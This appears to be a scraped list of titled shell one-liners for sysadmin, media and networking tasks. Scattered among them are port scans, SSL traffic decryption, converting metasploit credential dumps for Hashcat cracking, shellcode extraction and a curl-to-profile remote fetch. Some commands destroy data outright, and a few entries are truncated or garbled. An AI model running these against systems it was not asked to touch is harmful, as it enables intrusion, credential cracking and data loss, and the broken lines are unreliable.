function say { mplayer -really-quiet "http://translate.google.com/translate_tts?tl=en&q=$1"; }
See the total amount of data on an AIX machine
print "$(lsvg -Lo |xargs lsvg -L|grep "TOTAL PPs"|awk -F"(" '{print$2}'|sed -e "s/)//g" -e "s/megabytes/+/g"|xargs|sed -e "s/^/(/g" -e "s/+$/)\/1000/g"|bc ) GB"
Get list of servers with a specific port open
nmap -sT -p 80 --open 192.168.1.1/24
import sql
source MYFILE.sql
Decrypt SSL
openssl pkcs8 -in /etc/pki/tls/web.key -out /root/wc.key -nocrypt && tshark -o "ssl.desegment_ssl_records:TRUE" -o "ssl.desegment_ssl_application_data:TRUE" -o "ssl.keys_list:,443,http,/root/wc.key" -o "ssl.debug_file:rsa.log" -R "(tcp.port eq 443)"
Openstack, trigger ceilometer alarm webhook
curl -X POST -i `ceilometer alarm-show 1383a6be-fb73-4955-9991-8d65a8a23d60 | tr '\n' ' ' | sed -e 's/.*\[\(.*\)\].*/\1/' -e 's/[| ]*//g' -e 's/^u//' -e "s:'::g"`
Truncate a file easily
> filename
get the default gateway
ip -4 route list 0/0
List files in an RPM package
rpm --query --filesbypackage [packagename]
Find which process is using a port on Solaris
ps -ef | grep user | awk '{print $2}' | while read pid; do echo $pid ; pfiles $pid| grep portnum; done
Equivalent to ifconfig -a in HPUX
netstat -in
Check whether laptop is running on battery or cable
acpi -b | sed 's/,//g' | awk '{print $3}'
Generate an over-the-top UUID
printf $(( echo "obase=16;$(echo $$$(date +%s%N))"|bc; ip link show|sed -n '/eth/ {N; p}'|grep -o -E '([[:xdigit:]]{1,2}:){5}[[:xdigit:]]{1,2}'|head -c 17 )|tr -d [:space:][:punct:] |sed 's/[[:xdigit:]]\{2\}/\\x&/g')|sha1sum|head -c 32; echo
display memory usage of a process
TOTAL_RAM=`free | head -n 2 | tail -n 1 | awk '{ print $2 }'`; PROC_RSS=`ps axo rss,comm | grep [h]ttpd | awk '{ TOTAL += $1 } END { print TOTAL }'`; PROC_PCT=`echo "scale=4; ( $PROC_RSS/$TOTAL_RAM ) * 100" | bc`; echo "RAM Used by HTTP: $PROC_PCT%"
Reads a list of urls, fetches each one and logs the url and http status code
grep "$1" urls.txt | awk '{print "curl --write-out "$0"=http-%{http_code}\"\n\" --silent --output /dev/null "$0'} | sh >> responses.txt
Substring directory name match cd
ccd () { cd *$1*; }
save stderr only to a file
command 3>&1 1>&2 2>&3 | tee -a file
I/O activity on a machine
watch -n 1 'iostat -xmd 1 2'
List directory sorted by last modified date. Tail of it.
ls -ls -tr | tail
32 bits or 64 bits?
uname -p
Sort by size all hardlinked files in the current directory (and subdirectories)
find / -xdev -printf '%h\n' | sort | uniq -c | sort -k 1 -n
Watch for a process to start or stop
watch -n 0.5 ps -C <processname>
Using NMAP to check if a port is open or close
nmap -n 10.0.0.50 | grep udp | cut -d":"-f3>> test02
Get all domains from html
grep -oP '(?<=www\.)\s?[^\/]*' file | uniq
pipe remote log web server file to lostalgia
ssh -n user@server.tr tail -f /usr/local/nginx/logs/access.log > /tmp/access | tail -f /tmp/access | logstalgia
Unlock your KDE4 session remotely (for boxes locked by KDE lock utility)
qdbus org.kde.krunner_lock /MainApplication quit; qdbus org.kde.plasma-overlay /MainApplication quit
Check whether laptop is running on battery or cable
while true;do clear;echo -n Current\ `grep voltage /proc/acpi/battery/BAT0/state | awk '{print $2" "$3" "$4}'`;for i in `seq 1 5`;do sleep 1;echo -n .;done;done
Generate list of words and their frequencies in a text file.
tr -cs A-Za-z '\n' | sort | uniq -ci
Prints out, what the users name, notifyed in the gecos field, is
finger | grep $(whoami) | head -n1 | awk '{print $2 " " $3}'
recursively change file name from uppercase to lowercase (or viceversa)
for i in $(find . -type f); do mv "$i" "$(echo $i|tr A-Z a-z)"; done
Destroy file contents after encryption
gpg -e --default-recipient-self <SENSITIVE_FILE> && shred -zu "$_"
Shuffle songs with mplayer (sub-dirs too.)
mplayer -shuffle $HOME/music/* $HOME/music/*/* $HOME/music/*/*/* etc.
Sort files by size
ls -l | sort +4n for ascending order or ls -l | sort +4nr for descending order
Empty a file
> file.txt
Simple way to share a directory over http without touching your router
python -m SimpleHTTPServer 8000 &; sudo localtunnel -k ~/.ssh/id_rsa.pub 8000
strace a program
strace -ttvfo /tmp/logfile -s 1024 program
External IP (raw data)
curl icanhazip.com
Get result of command in pipe sequence
echo "Dave" | grep -o "bob" | sed 's/D/f/'; echo ${PIPESTATUS[1]};
Sample logstash events on a redis queue
for i in {0..100}; do redis-cli LINDEX logstash ${i} | jq .type,.message; done
Using NMAP to check if a port is open or close
nmap -n 10.0.0.50 | grep udp | cut -d":"-f3>>
Find Rhyming Words
rhyme() { { cat /usr/share/dict/words; printf %s\\n "$1"; } | rev | sort | rev | grep -FxC15 -e "${1?}" | grep -Fxve "$1" | shuf -n1; }
Compute newest kernel version from Makefile on Torvalds' git repository
wget -qO - https://raw.githubusercontent.com/torvalds/linux/master/Makefile | head -n5 | grep -E '\ \=\ [0-9]{1,}' | cut -d' ' -f3 | tr '\n' '.' | sed -e "s/\.$//"
Create a simple backup
tar pzcvf /result_path/result.tar.gz /target_path/target_folder
AIX : one liner to reset failed login count for 'aix user'
chsec -f /etc/security/lastlog -a "unsuccessful_login_count=0" -s 'aix user'
Check whether laptop is running on battery or cable
cat /proc/acpi/battery/BAT0/state
Convert ascii string to hex
echo "text" | od -t x1
Remove all lines beginning with words from another file
for wrd in `cat file2` ; do sed -i .bk "/^$wrd/d" file1; done
Alphanumeric incrementating (uppercase)
for ((i=65;i<91;i++)); do printf "\\$(printf '%03o' $i) "; done
Edit file without changing the timestamp
edit-notime () { FILE=$1; TMP=`mktemp /tmp/file-XXXXXX`; cp -p $FILE $TMP; $EDITOR $TMP; touch -r $FILE $TMP; cp -p $TMP $FILE; rm -f $TMP; }
postgresql : drop all tables from a schema
psql -h <pg_host> -p <pg_port> -U <pg_user> <pg_db> -t -c "select 'drop table \"' || tablename || '\" cascade;' from pg_tables where schemaname='public'" | psql -h <pg_host> -p <pg_port> -U <pg_user> <pg_db>
iMovie compatible ffmpeg transcoding
ffmpeg -i $video -c:v prores -profile:v 2 -c:a copy ${video}.mov
Rename VM directory and files on ESXi
for f in $(find . -name 'original_*'); do mv $f ${f/original_/new_}; done;
encode HTML entities
perl -C -MHTML::Entities -pe 'decode_entities($_);'
Find Words of Arbitrary Length
$ nword() { grep -P "^.{$1}\$" /usr/share/dict/words | shuf -n1; }
generate a one-time pad
dd if=/dev/random | pv -ptab --size 128 --stop-at-size | dd of=~/.onetime/to_foo.pad
Quickly search OpenVZ container by IP and enter it
vzctl enter `vzlist -a | grep $CONTAINER_IP 2 | awk '{ print $1}'`
Sync/mirror directory with Rackspace Cloud files bucket
swift -A https://auth.api.rackspacecloud.com/v1.0 -U <username> -K <api-key> upload <containername> . --changed
Enumerar Registros MX
for domain in $(cat dominios.txt); do nslookup -type=mx $domain ; done >ejemplo.txt
Sort installed package on ArchLinux from low to high
pacman -Qi | egrep '^(Name|Installed)' | cut -f2 -d':' | paste - - | column -t | sort -nk 2 | grep MiB
Convert PDFLaTeX PDF to Illustrator-usable EPS
gs -dNOCACHE -dNOPAUSE -dBATCH -dSAFER -sDEVICE=epswrite -dEPSCrop -sOutputFile=out.eps in.pdf
Filtering IP address from ifconfig usefule in scripts
IPADDR=`ifconfig eth0 | grep -i inet | awk -F: '{print $2}'| awk '{print $1}'`
Show the files that you've modified in an SVN tree
svn status | egrep '^(M|A)' | egrep -o '[^MA\ ].*$'
add random color and external ip address to prompt (PS1)
IP=$(nslookup `hostname` | grep -i address | awk -F" " '{print $2}' | awk -F!!! Example "'{print $1}' | tail -n 1 ); R=3$((RANDOM%6 + 1)); PS1="\n\[\033[1;37m\]\u@\[\033[1;$R""m\]\h^$IP:\[\033[1;37m\]\w\$\[\033[0m\] "
Reorder file with max 100 file per folder
find files/ -type f | while read line; do if [ $((i++%100)) -eq 0 ]; then mkdir $((++folder)); fi; cp $line $folder/; done
xpath function
xpath () { xmllint --format --shell "$2" <<< "cat $1" | sed '/^\/ >/d' }
save login cookie
curl -c cookie.txt -d username=hello -d password=w0r1d http://www.site.com/login
Get tagged flashcards from Anki databases
for i in `ls *.anki`; do sqlite3 $i "select (cards.question || '||' || cards.answer) from cards, facts where cards.factid=facts.id and facts.tags like '%mytag%';" >> mytag.csv; done
don't have video stop at EOF while it is downloading
mplayer <(tail -fc +0 <filename>)
top ten shell command in bash shell
cat ~/.bash_history | perl -lane 'if($F[0] eq "sudo"){$hash{$F[1]}++}else{$hash{$F[0]}++};$all++;END {@top = map {[$_, $hash{$_}]} sort {$hash{$b}<=>$hash{$a}} keys %hash;printf("%10s%10d%10.2f%%\n", $_->[0],$_->[1],$_->[1]/$all*100) for @top[0..9]}'
List MP3 albums (e.g. on iPod etc.)
MP3TAG_DECODE_UTF8=0 mp3info2 -p "%a - %l\n" -R . | sort | uniq
Show reason of revocation for 0xDEADBEEF with gpg.
gpg --export 0xDEADBEEF | gpg --list-packets | grep -Pzao ':signature packet:.*\n\t.*sigclass 0x20(\n\t.*)*'
Encrypt/decrypt a string from the command line
echo 'HelloWorld!' | gpg --symmetric | base64
IBM AIX: Calculate the SHA256 hashes of a directory without sha256sum
echo '#! /usr/bin/ksh\necho `cat $1 | openssl dgst -sha256` $1' > sslsha256; chmod +x sslsha256; find directory -type f -exec ./sslsha256 \{\} \;
postgresql : drop all sequences from the public schema
psql -h <ph_host> -p <pg_port> -U <pg_user> <pg_db> -t -c "select 'drop sequence \"' || relname || '\" cascade;' from pg_class where relkind='S'" | psql -h <ph_host> -p <pg_port> -U <pg_user> <pg_db>
xcowsay think on other cow
xcowsay "$(cowsay smile)"
Set APM_level for HDD to prevent frequent parking
sudo hdparm -B 200 /dev/sda
Find which fibre HBA a disk is connected to
udevadm info -q all -n /dev/sdc | grep ID_PATH | cut -d'-' -f 2 | xargs -n 1 lspci -s
get a random regex match from a file
awk 'BEGIN{srand()} match($0, /DELTA=([0-9]+);/, a) {w[i++]=a[1]} END {print w[int(rand()*i)]}' file.name
Convert audio to video [m4a 2 mp4]
ffmpeg -loop 1 -i image.jpg -i audio.m4a -c:v libx264 -c:a aac -strict experimental -b:a 192k -vf scale=720:-1 -shortest video-output.mp4
Amount of physical memory in HP-UX
/opt/ignite/bin/print_manifest
Create a role on the Chef server with a description
knife role create role-name --description "this is a role that does cool stuff"
Clear Cached Memory on Ubuntu
sudo free && sync && sudo echo 3 | sudo tee /proc/sys/vm/drop_caches
Install a library to a remote repository
mvn deploy:deploy-file -DgroupId=groupId -DartifactId=artifactId -Dversion=1.0 -Dpackaging=jar -Dfile=pathtolib -DrepositoryId=repository -Durl=url
get the list of temps for your hard-drives
hddtemp /dev/sda /dev/sdb /dev/hda /dev/hdb | gawk '{print $NF}' | perl -n -e '$_ =~ s/(\d+)/print "$1 "/eg }{ print "\n"'
Get your public ip using dyndns
curl -s 'http://www.loopware.com/ip.php'
Ramp the system volume up 5%
aumix -v +5
send cookie
curl -b cookie.txt http://www.site.com/download/file.txt
Send SVN diff to Meld
svn diff --diff-cmd='meld' -r 100:BASE FILE
Print free RAM in MB
free -m | awk '/cache:/ {print $4}'
firefox ascii logo
curl -s http://people.mozilla.com/~faaborg/files/shiretoko/firefoxIcon/firefox-64.png | convert - jpg:- | jp2a --color --html -> firefox.html
Create a tar archive from a text list without trailing slash in directories
cat list.txt | pax -wd > archive.tar
Find files in current directory which are larger in size (500000k)
find . -type f -size +50000k -exec ls -lh {} \; | awk '{ print $9 ": " $5 }'
Calculate CPU load limit on GNU/Linux
echo "$(( $(( $(grep 'physical id' '/proc/cpuinfo' | uniq | wc -l) * $(grep 'core id' '/proc/cpuinfo' | wc -l) )) * 2 + 1 ))"
Gets shellcode opcodes from binary file using objdump
objdump -s ./HelloWorld | grep -v '^ [0-9a-f][0-9a-f][0-9a-f][0-9a-f] \b' | grep -v 'Contents' | grep -v './' | cut -d' ' -f 3-6| sed 's/ //g' | sed '/./!d' | tr -d '\n'| sed 's/.\{2\}/&\\x/g' | sed 's/^/\\x/'|sed 's/..$//'|sed 's/^/"/;s/$/"/g'
Color code each job for GNU Parallel
parallel -j10 --tagstring '\033[30;{=$_=++$::color%8+90=}m' sleep .3{}\;seq {} ::: {1..10}
Creat a new user with no shell. Useful to provide other services without giving shell access.
useradd -s /sbin/nologin nicdev
print latest (top 10, top 3 or *) commandlinefu.com commands
wget -qO - http://www.commandlinefu.com/feed/tenup | xmlstarlet sel -T -t -o '<x>' -n -t -m rss/channel/item -o '<y>' -n -v description -o '</y>' -n -t -o '</x>' | xmlstarlet sel -T -t -m x/y -v code -n
Outputs a 10-digit random number
echo $RANDOM$RANDOM$RANDOM |cut -c3-12
Ignore subdirectories in subversion
find . -type d -not \( -name .svn -prune \) -exec svn propset svn:ignore '*' {} \;
GREP a PDF file.
grep -i '[^script$]' 1.txt
Convert .ogg to .avi
mencoder -idx a.ogg -ovc lavc -oac mp3lame -o b.avi
get a random command
find $(echo "$PATH" | tr ':' ' ') -name "*program*"
Losslessly optimize JPEG files for file size
jpegtran -optimize -outfile temp.jpg <JPEG> && mv temp.jpg "$_"
Access to a SVN repository on a different port
sudo svn co svn+ ciccio_diverso://root@192.160.150.151/svn-repo/progettino
Filter Android log output by PID
adb shell ps | grep my.app.packagename | awk '{print $2}' | xargs -I ? sh -c "adb logcat -v time | grep ?"
Pretend your shell is MS-DOS command.com
export PROMPT_COMMAND=$PROMPT_COMMAND'; export PWD_UPCASE="${PWD^^}"'; export PS1='C:${PWD_UPCASE//\\//\\\\}>'
Command to kill PID
ps auxww | grep application | grep processtobekilled | gawk '{print $2}' | grep -v grep | xargs kill -9
Get user's full name in Mac OS X
finger `whoami` | awk -F: '{ print $3 }' | head -n1 | sed 's/^ //'
Sync a remote mysql database to a local db via SSH
ssh <remoteuser>@<remoteserver> \ 'mysqldump -u <user> -p<password> <database>' \ | mysql -u <user> -p<password> <database>
Maximize active window
wmctrl -r :ACTIVE: -b add,maximized_vert; wmctrl -r :ACTIVE: -b add,maximized_horz
bulk git pull
for dir in ~/git/*; do (cd "$dir" && git pull); done
IBM AIX: Verify a sha256sum listing with openssl
echo '#! /usr/bin/ksh\ncat $2 | openssl dgst -sha256 | read hashish; if [[ $hashish = $1 ]]; then echo $2: OK; else echo $2: FAILED; fi;' > shacheck; chmod +x shacheck; cat hashishes.sha256 | xargs -n 2 ./shacheck;
Convert a .ogv recording (eg from recordmydesktop in Gnome/Linux) into a .wmv (eg for playback in Windows)
ffmpeg -i input.ogv -qscale 0 output.wmv !!! Example "convert .ogv to .wmv
Spoof your wget referring url
H="--header"; wget $H="Accept-Language: en-us,en;q=0.5" $H="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" $H="Connection: keep-alive" -U "Mozilla/5.0 (Windows NT 5.1; rv:10.0.2) Gecko/20100101 Firefox/10.0.2" --referer=urlhere
Convert JSON to YAML (unicode safe)
json_xs -t yaml < foo.json > foo.yaml
Create OS X install USB via one step CLI
sudo /Applications/Install\ OS\ X\ Yosemite.app/Contents/Resources/createinstallmedia --volume /Volumes/Untitled --applicationpath /Applications/Install\ OS\ X\ Yosemite.app/ --nointeraction
Write random data to a disk, quickly
openssl enc -aes-256-ctr -pass pass:"$(dd if=/dev/urandom bs=128 count=1 2>/dev/null | base64)" -nosalt </dev/zero | pv --progress --eta --rate --bytes --size 8000632782848 | dd of=/dev/md0 bs=2M
Delete all Vagrant boxes
find $HOME -type d -name .vagrant | xargs -i% bash -c "pushd %; cd ..;vagrant destroy -f; popd"
Find latest modified log
find . -name '*.log' | xargs ls -hlt > /tmp/logs.txt && vi /tmp/logs.txt
Toggle the Touchpad on or off
tp=$(synclient -l | grep TouchpadOff | awk '{ print $3 }') && tp=$((tp==0)) && synclient TouchpadOff=$tp
replace @ symbol with new line character, to get new line character press Ctrl+v+enter → ^M
%s/@/^v[M]/g
Show a script or config file without comments
egrep -v "^[[:blank:]]*($|#|//|/\*| \*|\*/)" somefile
View a random xkcd comic
wget -q http://dynamic.xkcd.com/comic/random/ -O-| sed -n '/<img src="http:\/\/imgs.xkcd.com\/comics/{s/.*\(http:.*\)" t.*/\1/;p}' | awk '{system ("wget -q " $1 " -O- | display -title $(basename " $1") -write /tmp/$(basename " $1")");}'
Show the command line of a process that use a specific port (ubuntu)
port=8888;pid=$(lsof -Pan -i tcp -i udp | grep ":$port"|tr -s " " | cut -d" " -f2); ps -Afe|grep "$pid"|grep --invert-match grep | sed "s/^\([^ ]*[ ]*\)\{7\}\(.*\)$/\2/g"
Status of Snow Armageddon in Washington DC Metro from the command line…
/usr/bin/links --source http://weather.noaa.gov/pub/data/forecasts/zone/md/mdz009.txt
List a phone's filesystem with bitpim
bitpim -p $PHONE_PORT ls
shutdown pc in a 4 hours
shutdown -h $((60 * 4))
batch download jpgs which are in sequence
curl -O http://www.site.com/img/image[001-175].jpg
Show all archives.
la
open a screenshot of a remote desktop via ssh
ssh user@host "ffmpeg -f x11grab -s 1920x1080 -i :0 -r 1 -t 1 -f mjpeg -" | display
Flush DNS in Mac OS X
dscacheutil ?flushcache
SoftHangup –Request a hangup on a given channel - in Asterisk 1.6.2:
soft hangup Zap/1-1
Suspend to RAM with KDE 4
dbus-send --system --print-reply --dest="org.freedesktop.UPower" /org/freedesktop/UPower org.freedesktop.UPower.Suspend
launch bash without using any letters
$0
Display terminal command history with date
echo 'export HISTTIMEFORMAT="%d/%m/%y %T "' >> ~/.bash_profile
truncate deleted files from lsof
lsof | grep -i deleted | grep REG | grep -v txt | ruby -r 'pp' -e 'STDIN.each do |v| a = v.split(/ +/); puts `:> /proc/#{a[1]}/fd/#{a[3].chop}`; end'
Show an alphabetized list of all mcollective nodes
mco ping | head -n -4 | awk '{print $1}' | sort
Sync local machine date to remote machine over ssh
ssh root@host.domain.tld "date -s '"$(date)"'";
Get the version of any package in apt's repositories
apt-cache policy <package-name>
provides information about NetworkManager, device, and wireless networks.
nm-tool
View webcam output using GStreamer pipeline
cvlc v4l2:///dev/video0
Find and archive old, large files. Great for manually cleaning up logs when logrotate can't be used.
find . -type f -size +100M -mtime +30 -exec gzip {} \;
add time to make output and redirect it to a file
make -j 2>&1 | while IFS= read -r line; do echo "$(date +"%d-%m-%Y@%T") $line"; done > make.out
Sum of RSS utilization in Linux
ps aux | awk '{sum+=$6} END {print sum / 1024}'
Find inside specific file type function
findin() { find . -type f -name "*.$1" | xargs ack $2 }
Send current job to the background
^Z then bg
ls to show hidden file, but not . or ..
ls -A
Recursive grep of all c++ source under the current directory
grep -R --include=*.cpp --include=*.h --exclude=*.inl.h "string" .
Commands to setup my new harddrive! #4 Step! Try to recover as much as possible
ddrescue -r 1 /dev/old_disk /dev/new_disk rescued.log
Download YouTube music playlist and convert it to mp3 files
yt-pl2mp3() {umph -m 50 $1 | cclive -f mp4_720p; IFS=$(echo -en "\n\b"); for track in $(ls | grep mp4 | awk '{print $0}' | sed -e 's/\.mp4//'); do (ffmpeg -i $track.mp4 -vn -ar 44100 -ac 2 -ab 320 -f mp3 $track.mp3); done; rm -f *.mp4}
Today's elimination of a world threat
rm -rf /bin/laden
mount starting sector of the partition we want to mount
mount -o loop,offset=$((512*x)) /path/to/dd/image /mount/path
Play flash videos in VLC
find -L /proc/`ps aux | grep [f]lash | awk '{print $2}'`/fd/ | xargs file -L | grep Video | awk '{sub(/:/, ""); print $1}' | xargs vlc
Synchronize date and time with a server over ssh
date `ssh user@server date "+%y%m%d%H%M.%S"`
Clear the terminal screen
Ctrl+Shift+x
Prefix file contents with filename
strings -f sample.txt
change to the previous working directory
cd -
Remove lines ending or trailing slash (/)
sed -i 'g/text/d' <filename>
Get a list of HTTP status codes
curl http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html 2>/dev/null | grep '^<h3' | grep -v '^\d' | perl -pe 's/^.*(?<=(\d\d\d)) (.*)<\/h3>$/$1 : $2/' | grep -v h3
convert uppercase files to lowercase files
rename -fc *
Archive git branches in "arhive/" tags
git branch | grep -v "master" | sed 's/^[ *]*//' | sed 's/.*/& &/' | sed 's/^/git tag archive\//' | bash
OneLiner ICMP sniffer in Python
echo "exec(\"import socket, os\nwhile True:\n\tprint (socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)).recvfrom(65565)\")" | sudo python
Get list of all apache virtual hosts
sudo httpd -S 2>&1 | grep 'port' | awk '{print $4,$2,$5}' | sort | column -t
Talk out of another computer's speakers
rec -t ogg - | ssh remote_hostname play -t ogg -
Colorized tail using sed
tail -f ~/make.out | sed -e 's/\(...%\)/\o033[32m\1\o033[39m/' -e 's/\(.*[Ww][Aa][Rr][Nn][Ii][Nn][Gg].*\)/\o033[33m\1\o033[39m/' -e 's/\(.*[Ee][Rr][Rr][Oo][Rr].*\)/\o033[31m\1\o033[39m/'
Add git branch name to bash prompt
curl -L bit.ly/git_bash_profile > ~/.bash_profile && source ~/.bash_profile
Generic date format
date --iso
#3 Step! FIrst Pass quickly!
ddrescue -n /dev/old_disk /dev/new_disk rescued.log
Animated Desktop: electricsheep
nice -n 5 electricsheep -window-id `xwininfo -root|head -n 2|grep xwininfo|cut -c 22-26`
split a string (2)
read VAR1 VAR2 VAR3 <<< aa bb cc; echo $VAR2
Play flash video in the cache (loaded) with mplayer
alias flashplay="mplayer \$(find /proc/\$(pgrep -f 'libgcflash|libflashplayer')/fd/ -printf '%p %l\n' |grep FlashXX | cut -d\ -f1)"
Remove superfluous from conf file
grep -Ev '^( *$|#)' < conf.file
Print all words in a file sorted by length
for a in $(cat sample.txt); do echo "$(wc -m<<<$a) $a";done|sort -n
Mirror site with rel-links, 20s delay via Wget
wget -mk -w 20 http://www.example.com/
List all the unique extensions in a folder and print their count
find . -type f -print | awk -F'.' '{print $NF}' | sort | uniq -c
Download and extract a tarball on a fly, saving it
wget -O- http://example.com/mytarball.tgz | tee mytarball.tgz | tar xzv
display bash history without line numbers
history | awk '{$1="";print substr($0,2)}'
Save a result based on a command's output in a variable while printing the command output
num_errs=`grep ERROR /var/log/syslog | tee >(cat >&2) | wc -l`
Send email from terminal
echo "some cool message from terminal" | mail -s "test" email@address.com
generate a one-time pad
dd if=/dev/random of=~/.onetime/to_foo.pad bs=1000 count=1
Watch top 10 processes sorted by cpu usage
watch "ps aux | sort -nrk 3,3 | head -n 10"
Remove last x lines from file using sed
sed -n -e :a -i -e '1,5!{P;N;D;};N;ba' /etc/apt/sources.list
wlanscan ssids
iwlist wlo1 scan | grep ESSID
Disable updates for installed Chrome plugins
find / -iname "manifest.json" -exec sed 's/\"update_url\": \"http/\"update_url\": \"hxxp/g' -i.bak '{}' \;
Play a random .avi file from a media tree
unset files i; set -f; O=$IFS; while IFS= read -r -d $'\0' files[i++]; do :; done < <(find . -name '*.avi' -print0) && IFS=$O; set +f && echo "Running: mplayer \"${files[ $(( $RANDOM % ${#files[@]} )) ]}\""
Toggle cdrom device
eject -T [cdrom_device]
regex to match an ip
echo 254.003.032.3 | grep -P '^((25[0-4]|2[0-4]\d|[01]?[\d]?[1-9])\.){3}(25[0-4]|2[0-4]\d|[01]?[\d]?[1-9])$'
Find out my Linux distribution name and version
cat /proc/version
Generate Random Passwords
openssl rand 6 -base64
pull only the temp sensor data off of a netapp
/usr/bin/snmpwalk -v 1 -c public 10.0.0.22 1.3.6.1.4.1.789.1.21.1.2.1.25.1| awk -F : '{print "netapp temp:" $4 }'
Remove a range of lines from a file
sed -i 6,66d <filename>
Find and sort out folders by size
du -s $(ls -l | grep '^d' | awk '{print $9}') | sort -nr
Backup hidden files and folders in home directory
tar zcpvf backup.tgz $(find $HOME -maxdepth 1 -name '.*' -and -not -name '.')
Encrypt your file using RC4 encryption
hashkey=`echo -ne <your-secret> | xxd -p`; openssl rc4 -e -nosalt -nopad -K $hashkey -in myfile.txt -out myfile.enc.txt
Recursively unrar in different folders
for i in `ls` ; do cd $i ; pwd; for f in `ls *.rar` ; do unrar e $f ; done ; cd .. ; done
Use mplayer to save video streams to a file
mplayer -dumpstream -dumpfile stream_video_name url
Use a tar pipe to copy one directory to another, preserving file permissions.
(cd olddir && tar -cf - .)|(cd newdir && tar -xpf -)
Rename selected files in the directory using ruby
ruby -e 'Dir.glob("*.txt") { |f| File.rename(f,f.gsub("_t","")) }'
4chan image batch downloader
wget thread_link -qO - | sed 's/\ /\n/g' | grep -e png -e jpg | grep href | sed 's/href\=\"/http:/g' | sed 's/"//g' | uniq | xargs wget
Batch Remove git tags from remote server
git ls-remote --tags origin | awk '/^(.*)(\s+)(.*)(YOUR-TAG-SPECIFIC-SEARCH-TERM-HERE)(.*)(-+)(.*)[^{}]$/ {print ":" $2}' | xargs git push origin
Get only headers from a website with curl even if it doesn't support HEAD
curlh() { x="$(curl -Is -w '%{http_code}' "$@")"; if [[ "$(tail -n 1 <<< "$x")" == [45]* ]]; then curl -is "$@" | awk '{ if (!NF) { exit }; print }'; else head -n -1 <<< "$x"; fi; }
pc is ghosted?!
while true; do locate *.wav | sed "{${RANDOM:1:2}q;d;}" | xargs aplay; sleep 10; done &> /dev/null &
Continuous random string of text
while true; do sleep .15; head /dev/urandom | tr -dc A-Za-z0-9; done
Flatten a RGBA image onto a white background.
composite -compose Over rgba.png -tile xc:white -geometry `identify rgba.png | sed 's/[^ ]* [^ ]* \([^ ]*\) .*/\1/g'` rgb-white.png
get IPs with a DHCP lease
egrep "^lease" /var/lib/dhcp/db/dhcpd.leases |awk '{ print $2 }'
Step#1 Compare the disk spaces first!
blockdev --getsize64 /dev/sd[ab]
create file
FILE=$(tempfile 2>/dev/null || echo .$RANDOM)
Multiple Perl Search/Replace from a file
cat table-mv.txt | perl -pe 's{([^;]+);([^;]+)}{tbl$1/tbl$2}' | perl -pe 's{(\S+)}{perl -i -pe #s/$1/g!!! Example "xxx.sql}' | tr "#" "\'" | bash
Add a custom package repository to apt sources.list
sudo echo "package url" >> /etc/apt/sources.list
Instant threadpool
cat item_list | xargs -n1 -P<n> process_item
Previous / next command in history
Recursive remove files by mask
find . -name ".DS_Store" -print0 | xargs -0 rm -rf
create compressed encrypted backup
tar --exclude-from=$excludefile -zcvp "$source" | openssl aes-128-cbc -salt -out $targetfile -k $key
List the busiest websites on a cPanel server
/usr/bin/lynx -dump -width 500 http://127.0.0.1/whm-server-status | grep GET | awk '{print $12}' | sort | uniq -c | sort -rn | head
Use a server as SOCKS5 proxy over SSH
ssh -D 8080 -f -N srv1
clbin: command line pastebin and image host
<command> | curl -F 'clbin=<-' https://clbin.com
Generate a random alphanumeric string (works on Mac)
cat /dev/urandom | strings | grep -o '[[:alnum:]]' | head -n 15 | tr -d '\n'; echo
Show the number of processes by user in descending order
ps -auxh | sed -r "s/\s+/ /g" | cut -d ' ' -f 1 | sort | uniq -c | sort -gr
Merge files in current directory
find . -type f -name '*.csv' -exec cat {} + >> merged.csv
dnscrypt-proxy: get servers with lowest rtt
awk -F, '$1!~/^Name/ {print $1,$(NF-3)}' dnscrypt-resolvers.csv | awk -F"[: ]" '$2!~/^\[/ {print $1,$2}' | parallel -j 10 --colsep " " "echo -n \"{1} \"; ping -qc 60 {2} | tr -d \"\\n\" |awk -F\"[/ ]+\" '{print \$(NF-3),\$2}'" |sort -rnk 2
Cleaning that files I extracted here instead of there
for i in $(tar tf example.tar.gz); do rm -r $i; done
send attachment email shell
echo "This is the message body" | mutt -a "/tmp/aysad.gz" -s "Vv..Pp..nn" -- aysad@gmail.com
Joke : prints line numbers in a longest way
perl -e 'use strict; use warnings; my $c; my $file = $ARGV[0]; open my $handle, "<", $file or die "$0: $file: $!\n"; while (<$handle>) { print $c++, " " x 5, $_; } close($handle);' <FILE>
Convert all your mp3 to ogg
find . -iname '*.mp3' | while read song; do mpg321 ${song} -w - | oggenc -q 9 -o ${song%.mp3}.ogg -; done
Collect output from a segfaulting program and keep the script from dying
(trap 'true' ERR; exec <SEGFAULT_PRONE_PROGRAM>)
Fixing maven POM messed up by a broken release.
find . -iname pom.xml -type f -exec bash -c "cat {} | sed s/1\.0\.46\-SNAPSHOT/1\.0\.48\-SNAPSHOT/g > {}.tmp " \; -exec mv {}.tmp {} \;
To capture a remote screen
DISPLAY=":0.0" import -window root screenshot.png
Print all words in a file sorted by length
for a in $(cat sample.txt); do echo "${#a} $a";done|sort -n
Show 10 6 characters pass and crypt(3) *if you like
SEED=$(head -1 /dev/urandom|od -N 1);for i in {1..10};do tmp=$(mkpasswd ${RANDOM});pass=${tmp:2:6};echo Pass $pass Crypt: $(mkpasswd $pass);done
Convert metasploit cachedump files to Hashcat format for cracking
cat *mscache* | awk -F '"' '{print $4":"$2}'
extract only the subroutine names from a perl script
grep -Po '^sub (\w+)' file.pm | cut -d' ' -f2
Gentoo portage easter egg
emerge --moo
ls /EMRCV5/
ls /EMRCV5/
rsync progress indicator which updates in-place
rsync --recursive --info=progress2 <src> <dst>
axel -a -n 3 http://somelink-to-download/
using 3 thread to download some big file
Run 'tail' on selected files in current directory
for i in *.csv; do tail $i; done
pgrep to search for processes with pretty formatting via ps
psg() { ps -f fwwp $(pgrep $*) 2>/dev/null }
OCR a pdf file with tesseract and ImageMagick
convert -density 300 INPUTFILENAME.pdf tmp.tif && tesseract -psm 1 -l "eng" tmp.tif OUTPUTFILENAME pdf && rm tmp.tif
fingr - 'Finger like' command (local)
fingr root
Push to all (different) remotes in git directory without having to combine them.
git remote | while read line ; do git push $line; done
Print a full-width horizontal line using the current terminal width (custom character supported)
printf '%*s\n' "${COLUMNS:-80}" '' | tr ' ' "${1-_}"
Reset the time stamps on a file
touch -acm yyyymmddhhMM.ss [file]
Print multiline text starting and ending at specific regexps with perl
man fetchmail | perl -ne 'undef $/; print $1 if m/^.*?(-k \| --keep.*)-K \| --nokeep.*$/smg'
